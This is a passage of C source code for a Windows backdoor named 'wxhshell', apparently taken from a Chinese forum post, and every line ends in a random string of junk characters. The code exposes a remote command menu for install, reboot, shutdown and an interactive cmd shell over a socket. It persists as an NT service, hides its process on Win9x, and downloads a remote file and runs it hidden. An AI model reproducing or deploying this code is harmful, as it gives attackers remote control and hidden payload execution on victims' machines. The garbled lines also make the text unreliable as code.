  ]T<tkvcI  
  // 帮助 2#(dfEAy  
  case '?': { 4#,,_\r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WES$B7y  
    break; %At.nlss  
  } p%R+c  
  // 安装 &gF9VY  
  case 'i': { XL7||9,(h  
    if(Install()) od)ssL&E~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 =oUE$9  
    else )g?ox{Hol  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $[g#P^  
    break; .~C%:bDnX7  
    } d@%PTSX  
  // 卸载 I5@8=rFk  
  case 'r': { bkuJN%  
    if(Uninstall()) =w!2R QB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pcjrv:0$  
    else U7''; w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2w}l!'ue  
    break; ,8.$!Zia  
    } 3bRW]mP8  
  // 显示 wxhshell 所在路径  p9 G{Q  
  case 'p': { /|8rVYSs  
    char svExeFile[MAX_PATH]; Bg[_MDWc-P  
    strcpy(svExeFile,"\n\r"); V.%LA. 8  
      strcat(svExeFile,ExeFile); ]O>AD 6P  
        send(wsh,svExeFile,strlen(svExeFile),0); T>pyYF1Q  
    break; .}5qi;CA  
    } nDS\2  
  // 重启 ejia4(Cd  
  case 'b': { H$V`,=H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $>7T s>8  
    if(Boot(REBOOT)) kl1/(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G8zbb  
    else { ^T*!~K8A  
    closesocket(wsh); N!fjN >cw  
    ExitThread(0); gFd*\Dk  
    } "G^TA:O:=  
    break; /'/i?9:  
    } :p%#U$S4  
  // 关机 {+]tx46$  
  case 'd': {  `-JVz{z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @+0dgkJ  
    if(Boot(SHUTDOWN)) +eO>> ~Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JZK93R  
    else { _e/Bg~  
    closesocket(wsh); (*b<IGi;  
    ExitThread(0); +|x{?%.O  
    } xs&xcR R"  
    break; )~Gn7  
    } mMvAA;  
  // 获取shell \H9:%Tlp~4  
  case 's': { $Dd-2p   
    CmdShell(wsh); cF_`QRtO  
    closesocket(wsh); N/'8W9#6  
    ExitThread(0); FUf.3@}  
    break; UM`{V5NG#  
  } l,~`o$ _  
  // 退出 O._\l?m  
  case 'x': { za+)2/ `L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]Ok'C"V(j  
    CloseIt(wsh); SdN&%(ZE  
    break; 6{{<+ o  
    } A;^ iy]"  
  // 离开 <5^m`F5  
  case 'q': { #.!#"8{0_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `x=$n5= 8  
    closesocket(wsh); p/88mMr  
    WSACleanup(); B;S'l|-?  
    exit(1); "h #/b}/  
    break; 6O,:I  
        } R(*t 1R\  
  } c%WO#}r|  
  } BY&{fWUo  
&4+|{Zx0  
  // 提示信息 ]Y-Y.&b7t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \#xq$ygg  
} PU[<sr#,  
  } fL# r@TB-s  
:b*7TJ\grN  
  return; 73]8NVm  
} xticC>  
(w{T[~6  
// shell模块句柄 Mk0x#-F  
int CmdShell(SOCKET sock) [& Z- *a  
{ 1r};cY6  
STARTUPINFO si; 1Y&W>p  
ZeroMemory(&si,sizeof(si)); j"'a5;Sy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3y+~l H :  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E p;i],}  
PROCESS_INFORMATION ProcessInfo; S0Io$\ha  
char cmdline[]="cmd"; wJ pb$;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >~Xe` }'  
  return 0; Yku6\/^  
} Ov<c1y;f  
Vfga%K%l F  
// 自身启动模式 y631;dU  
int StartFromService(void) 4H (8BNgzV  
{ N$=9R  
typedef struct (9oo8&GG  
{ j7MUA#6$  
  DWORD ExitStatus; BWQ`8  
  DWORD PebBaseAddress; SMIDW}U2S  
  DWORD AffinityMask; cc*?4C/t  
  DWORD BasePriority; 4].o:d;`/  
  ULONG UniqueProcessId; LSA6*Q51  
  ULONG InheritedFromUniqueProcessId; p^*a>d:d]  
}   PROCESS_BASIC_INFORMATION; {lH'T1^m  
 ?O+.  
PROCNTQSIP NtQueryInformationProcess; >Oj$ Dn=  
rdd-W>+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~nhO*bs}7{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ||Owdw|{  
vanV|O  
  HANDLE             hProcess; [5p3:D  
  PROCESS_BASIC_INFORMATION pbi; c+E\e]{  
iN. GC^l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5I,NvHD4  
  if(NULL == hInst ) return 0; fv#ov+B  
u6F>o+Td)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 05k'TqT{c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #O !2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dQ7iieT  
ZzNHEV  
  if (!NtQueryInformationProcess) return 0; p<(a);<L  
@'}2xw[eU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 87[ ,.W  
  if(!hProcess) return 0; R;pW,]}g,  
[ i, [^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Dk a8[z7  
N2U&TCc  
  CloseHandle(hProcess); O|+ZEBP  
6WQN !H8+^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); | n)4APX\Q  
if(hProcess==NULL) return 0; F<4 :P=  
zN!yOlp5  
HMODULE hMod; zl6]N3+4  
char procName[255]; sZCK?  
unsigned long cbNeeded; n}F$kyI  
fo+s+Q|Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LwRzzgt  
?k4Hk$V  
  CloseHandle(hProcess); :0Jn`Ds4o  
gk6R#  
if(strstr(procName,"services")) return 1; // 以服务启动 H390<`  
L=qhb;  
  return 0; // 注册表启动 3))CD,|  
} i_Q1\_m!  
b#p0s?*  
// 主模块 uP%VL}% 0  
int StartWxhshell(LPSTR lpCmdLine) %;ED} X  
{ HBR/" m  
  SOCKET wsl; ?_d>-NC  
BOOL val=TRUE; WN{8gL&y  
  int port=0; ;Us6:}s  
  struct sockaddr_in door; {22ey`@`h  
B=K<k+{6"  
  if(wscfg.ws_autoins) Install(); #K:iB*  
?]Hs~n-  
port=atoi(lpCmdLine); 7F>]zrbK  
hNZ_= <D!  
if(port<=0) port=wscfg.ws_port; 4cSs=|m?+  
gizY4~ j  
  WSADATA data; { 'A 15  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FT~c|ep.  
*~6]IWN`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q`{@@[/ (y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); guYP|  
  door.sin_family = AF_INET; -M6vg4gf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w^&UMX}  
  door.sin_port = htons(port); AJLzLbV+  
~FYC'd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *!y04'p`<  
closesocket(wsl); paD[4L?4Hk  
return 1; hs;|,r  
} d7b`X<=@s  
@q<h.#9  
  if(listen(wsl,2) == INVALID_SOCKET) { #UymD-yII  
closesocket(wsl); hlV(jz  
return 1; 4`#%<G  
} ,?j!c*  
  Wxhshell(wsl); GYIQ[#'d7  
  WSACleanup(); ^Ff fc@=  
|>U<EtA"  
return 0; 2N &B  
vFJ4`Gjw(  
} :/=P6b;  
4IfkYM  
// 以NT服务方式启动 ( zm!_~1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tQ; Fgv8Y!  
{ M_E$w$l2<  
DWORD   status = 0; XU}i<5  
  DWORD   specificError = 0xfffffff; b}7g>  
B &Z0ZWx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =r]_$r%gR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bq~S=bAB>R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; av(qV$2  
  serviceStatus.dwWin32ExitCode     = 0; 7eM6 B#rI  
  serviceStatus.dwServiceSpecificExitCode = 0; LL3| U  
  serviceStatus.dwCheckPoint       = 0; ?UflK  
  serviceStatus.dwWaitHint       = 0; <LBCu;  
aRWj+[[7y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cqh1,h$sG  
  if (hServiceStatusHandle==0) return; =u9e5n  
B\AyG4J  
status = GetLastError(); kH0kf-4\  
  if (status!=NO_ERROR) X J]+F  
{ `ZC -lAY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FN sSJU3ld  
    serviceStatus.dwCheckPoint       = 0; DPnrzV )  
    serviceStatus.dwWaitHint       = 0; o%]b\Vl6  
    serviceStatus.dwWin32ExitCode     = status; j y p.2c  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2g)q (  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8j&1qJx)  
    return; ?=iy 6q  
  } uKIR$n"  
iN u k5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x51p'bNy  
  serviceStatus.dwCheckPoint       = 0; w{;bvq%lY  
  serviceStatus.dwWaitHint       = 0; |1OF!(:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }FV_jJ  
} 25xt*30M  
#CeWk$)m  
// 处理NT服务事件,比如:启动、停止 :8)3t! A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !C' Y 7  
{ Gqar5  
switch(fdwControl) 9J49s1  
{ 2+(SR.oGq  
case SERVICE_CONTROL_STOP: "el3mloR 8  
  serviceStatus.dwWin32ExitCode = 0; %kBrxf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "wV7PSbM  
  serviceStatus.dwCheckPoint   = 0; W7V#G(cpU  
  serviceStatus.dwWaitHint     = 0; 0#ePg6n  
  { Hn)^C{RN*{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fk5pPm|MiL  
  } r)qow.+&  
  return; LGRhCOP:  
case SERVICE_CONTROL_PAUSE: G\f:H%[5[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'OYnLz`"6  
  break; y3'K+?4  
case SERVICE_CONTROL_CONTINUE: 1@]gBv<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5X-d,8{w _  
  break; OOus*ooo2  
case SERVICE_CONTROL_INTERROGATE: d5LL( "  
  break; [DSzhi]  
}; G"<} s mB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jvE&%|Ngw  
} z{> )'A/  
H8qAj  
// 标准应用程序主函数 3AuLRI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \xZ6+xZd1  
{ /LCRi  
ve/|"RB  
// 获取操作系统版本 Z=s]@r  
OsIsNt=GetOsVer(); -S $Y0FDV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6O'B:5~[2  
5=_))v<Tp  
  // 从命令行安装 'khhn6itA  
  if(strpbrk(lpCmdLine,"iI")) Install(); (TGG?V  
QfU{W@!h  
  // 下载执行文件 Kv\uBMJNW  
if(wscfg.ws_downexe) { YQfQ[{kp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @JD!.3  
  WinExec(wscfg.ws_filenam,SW_HIDE); H]f8W]"c[  
} M059"X="  
CM%;r5  
if(!OsIsNt) { +u7nx  
// 如果时win9x,隐藏进程并且设置为注册表启动 K&vqk/JW1  
HideProc(); Ria*+.k@"B  
StartWxhshell(lpCmdLine); oJ}$ /_  
} Y5Z<uD  
else z6Yx )qBE<  
  if(StartFromService()) pXxpEv  
  // 以服务方式启动 +@C|u'  
  StartServiceCtrlDispatcher(DispatchTable); v|r#  
else klC48l  
  // 普通方式启动 2`/p V0  
  StartWxhshell(lpCmdLine); h IUO=f  
[E%Ov0OC  
return 0; I9r> 3?  
}
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只看该作者 1 发表于: 2006-10-10
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